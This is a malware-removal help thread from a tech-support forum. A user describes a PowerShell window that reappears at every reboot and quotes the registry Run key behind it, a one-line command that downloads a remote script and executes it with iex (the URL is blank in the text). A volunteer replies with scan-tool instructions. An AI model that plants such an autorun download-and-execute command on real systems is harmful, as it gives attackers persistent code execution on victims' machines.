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Powershell.exe script running.

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2 replies to this topic

#1 instatek


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  • Local time:10:43 AM

Posted 29 April 2015 - 10:33 AM

I am trying to clean an infection on a computer.  I have removed everything but this.  Every time I reboot.  I get a powershell window open with a bunch of numbers in it.   Under HKCU\Software\microsoft\run I have a key called winsystem with this in it.


cmd.exe /c start C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -command "$a = New-Object System.Net.WebClient; $b = $a.DownloadString(''); iex $($b)"


I removed the key several times and it just comes back.  I have run the following programs.




Norton Power eraser




HJT log file attached.


Has anyone run across this before?  I searched the forums and did not find anything.

Attached Files

BC AdBot (Login to Remove)


#2 nasdaq


  • Malware Response Team
  • 40,752 posts
  • Gender:Male
  • Location:Montreal, QC. Canada
  • Local time:09:43 AM

Posted 03 May 2015 - 08:27 AM

Hello, Welcome to BleepingComputer.
I'm nasdaq and will be helping you.

If you can please print this topic it will make it easier for you to follow the instructions and complete all of the necessary steps in the order listed.

Download the version of this tool for your operating system.
Farbar Recovery Scan Tool (64 bit)
Farbar Recovery Scan Tool (32 bit)
and save it to a folder on your computer's Desktop.
Double-click to run it. When the tool opens click Yes to disclaimer.
Press Scan button.
It will make a log (FRST.txt) in the same directory the tool is run. Please copy and paste it to your reply.
The first time the tool is run, it makes also another log (Addition.txt). Please attach it to your reply.

HijackThis is not ready for windows 7 and above.
I suggest you remove it using the Add/Remove Programs applet.

Use the the Farbar tool from no own to report problems.

#3 nasdaq


  • Malware Response Team
  • 40,752 posts
  • Gender:Male
  • Location:Montreal, QC. Canada
  • Local time:09:43 AM

Posted 08 May 2015 - 07:09 AM

Due to the lack of feedback, this topic is now closed.

In the event you still have problems, please send me or any Moderator a Private Message and ask them to reopen this topic within the next 5 days.

Please include a link to your topic in the Private Message. Thank you.

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